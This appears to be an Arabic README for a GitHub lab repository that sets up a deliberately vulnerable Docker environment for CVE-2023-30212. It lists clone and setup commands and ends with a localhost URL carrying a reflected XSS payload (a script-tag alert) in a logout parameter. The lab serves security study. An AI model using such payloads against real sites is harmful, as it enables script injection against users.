CVE-2023-30212-Lab

مستودع GitHub يحتوي على Dockerfile وملفات لإنشاء بيئة ضعيفة لـ CVE-2023-30212، مما يتيح استكشاف إمكانية استغلال هذه الثغرة الأمنية. مثالية للباحثين وعشاق الأمن لدراسة وفهم تأثير الثغرة في بيئة خاضعة للتحكم.

قم بتنزيل هذا المستودع عن طريق

git clone https://github.com/mallutrojan/CVE-2023-30212-Lab.git

Cd CVE-2023-30212-Lab

chmod u+x lab.sh

./lab.sh

http://localhost وقم بإعداد المستخدم باستخدام كلمة المرور

نفّذ هذا الرابط في المتصفح

http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=%3C/script%3E%3Cscript%3Ealert(`xss`)%3C/script%3E